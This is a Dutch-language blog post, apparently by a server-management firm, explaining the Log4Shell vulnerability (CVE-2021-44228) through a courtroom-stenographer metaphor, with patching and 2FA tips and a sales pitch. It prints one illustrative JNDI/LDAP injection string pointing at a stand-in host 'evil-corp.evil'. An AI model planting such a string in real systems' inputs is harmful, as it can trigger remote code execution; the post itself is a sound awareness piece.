Onze feestdagen begon met een email dat iedereen werd verplicht te blijven werken totdat alle servers gepatched waren tegen Log4Shell / Apache Log4j.
Maar wat betekend kwetsbaarheid CVE-2021–44228 daadwerkelijk en waarom is dit een van de gevaarlijkste (en makkelijkste) hacks die iedereen kan uitvoeren maar ook raken?
Dus wat is Log4J en waarom gaat de hele wereld hier hard op?
Log4J is een veelgebruikte toolkit die door software zoals Java wordt gebruikt om logs te maken. Denk aan Jean-Luc Picard’s “Captain’s Log” entries aan het begin van elke aflevering van Star Trek: The Next Generation, behalve dat er in een computer duizenden afleveringen per milliseconde zijn en we ijverig alles opnemen, zelfs tot het aantal keer dat zijn hart slaat. Logs zijn geweldig, over het algemeen erg geliefd bij systeembeheerders en historisch gezien nooit echt problematisch geweest.
Logs zijn zelfs een goede manier om je systeem te bewaken tegen kwaadwillende.
Systeembeheerder Servermeister
En toen kwam Log4Shell. Dit is de vriendelijke naam van de exploit, formeel genaamd CVE-2021-44228, en veel nerds zeggen gewoon “Log4J” in verwijzing naar het probleem. Log4Shell is een Remote Code Execution (“RCE”) kwetsbaarheid, wat IT-taal is voor “Iedereen die in contact kan komen met een computer met deze kwetsbaarheid, zelfs indirect, kan die computer overnemen en alles doen wat hij/zij maar wil”. En in het kader van een kwetsbaarheid/exploit mag je dat gerust super slecht noemen.
Stel je voor dat Log4J een stenograaf is, de stenograaf schrijft alles op zodat iedereen hier later een beroep op kan doen. De stenograaf heeft in tegenstelling tot iedereen in de zaal een veel belangrijkere functie en alles wat de stenograaf opschrijft is gebeurd – zelfs als andere zeggen dat dit niet het geval is.
Nu werkt deze stenograaf in een rechtszaal; Rechtszalen hebben verschillende toegangsniveaus – sommige zijn streng beveiligd, terwijl andere door het publiek kunnen worden bezocht. De stenograaf wordt behandeld als vertrouwd ondersteunend personeel met geprivilegieerde toegang.
Maar wat als die stenograaf een Manchurian Candidate is en ‘with the press of a button’ die toegang kan misbruiken en iedere commando van buitenaf opvolgt?
De trigger vindt plaats als ze een speciale zin in hun transcript opschrijven – dus iemand hoeft alleen maar die zin in de rechtszaal te zeggen, en bam, genoteerd en gecompromitteerd.
De zin ziet er ongeveer zo uit:
${JNDI:LDAP://evil-corp.evil/activate-manchurian-candidate-and-follow-these-instructions}
En in onze metafoor verschilt dat niet veel van een zin als “Spectral Frog Abacus” – Een raar iets om te zeggen, maar je zou iemand kunnen verleiden om het op te schrijven waarna het in de logs komt.
Het is zo eenvoudig om hier misbruik van te maken dat deze week bijna de helft van alle ondernemingen heeft gemeld dat zij zijn mogelijk kwetsbaar zijn voor Log4Shell.
As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours
Wikipedia – https://en.wikipedia.org/wiki/Log4Shell
Log4j – bereid u voor op misbruik
Nationaal Cyber Security Centrum – https://www.ncsc.nl/actueel/nieuws/2021/december/15/log4j
Dit is alsof in rechtszalen over de hele wereld de sleutelzin wordt geroepen om te zien of ze de stenograaf kunnen overnemen. En van degenen die aangetast zijn, weten we niet wat ze als slapende agent gaan uitvoeren.
Een van de minst ingrijpende dingen die een slapende stenograaf kan doen, is de boel gewoon overhoop halen. Ze stoppen met hun werk en beginnen met stoelen te gooien, en de procedure wordt verstoord tot het opgelost is. (Dit is hetzelfde als de RCE gebruiken om machines te laten crashen en zien wij nu het meeste gebeuren).
Maar meer slinkse instructies aan de stenograaf zouden kunnen zijn, zoiets als:
- Hun eigen transcripties zelfredigeren, zodat hun punt van compromis verborgen is voor de logs zelf.
- Het in hen gestelde vertrouwen gebruiken om rare dingen te doen die ze niet mogen doen, maar waar ze misschien mee weg kunnen komen; zoals knoeien met bewijs, proberen de procedure te beïnvloeden door verkeerde informatie in het verslag te injecteren, of gewoon de hele privé-inhoud van hun afschrift delen (zei iemand misschien een wachtwoord? Of een creditcardnummer? Hmmm…)
- Wetende dat ze uiteindelijk gepakt zullen worden, ontgrendelen ze een aantal gesloten deuren in het gerechtsgebouw. Hierdoor kunnen andere kwaadwillende binnenkomen.
Nou, ok, dit klinkt allemaal heel beangstigend… maar in ieder geval is de schade beperkt omdat de omvang van de compromis beperkt is tot de stenograaf, toch? Het is niet zo dat iemand anders in de rechtszaal gecompromitteerd is, ze zijn alleen kwetsbaar om voor de gek gehouden te worden door de stenograaf.
Oh wacht, maar het blijkt dat het niet alleen de stenograaf is. Het is iedereen die notities neemt. De rechter maakt aantekeningen. Iedereen. In alle machtsposities. Ze maken allemaal aantekeningen. Dus ze zijn allemaal kwetsbaar. En het wordt nog erger – het blijkt dat sommige rechtszalen graag “snel handelen en dingen kapot maken” door super-rechters te hebben die met bovenmenselijke bekwaamheid alle functies van de rechtszaal uitvoeren – rechter, jury, vervolging, verdediging, … beul… en ze zijn ook de stenograaf. Dus als je in zo’n rechtszaal komt, heb je de leiding over het hele hof.
Je moet begrijpen dat iedereen op de wereld hier kwetsbaar voor is;
Gebruikt je thuis internet? Dan heb je thuis een router, en die router heeft een vrij grote kans dat er Java op draait en zeker logs maakt en vaak een extern beschikbaar beheerportaal heeft. Dus controleer of er een software-update is en installeer die, indien aanwezig.
Het beste wat je als softwaregebruiker kunt doen, is je houden aan mijn volgende twee tips;
- Pas software upgrades toe. Controleer je spullen, upgrade ze. Softwareteams over de hele wereld zijn deze week bezig dit snel te verhelpen… UPDATE JE SOFTWARE!
- Gebruik 2FA (two factor authentication). De kans dat je wachtwoord deze week gecompromitteerd wordt, is net aanzienlijk gestegen; ik zet mijn geld erop in dat haveibeenpwned.com in de komende maanden een reeks beveiligingsinbreuken zal aankondigen, waarvan vele terug te voeren zullen zijn op deze week.
- (extraatje) Beheer jij een Minecraft server voor je kinderen? (…of voor jezelf?) Minecraft: Java Edition werd als een van de eerste gecompromitteerd door Log4Shell.
Wil je graag meer weten over Log4Shell / Apache Log4j neem dan contact met ons op, of sluit direct een abonnement af voor serverbeheer – dan zorgen wij ervoor dat je met een gerust hart kan slapen en wij met vermoeide oogjes je servers patchen.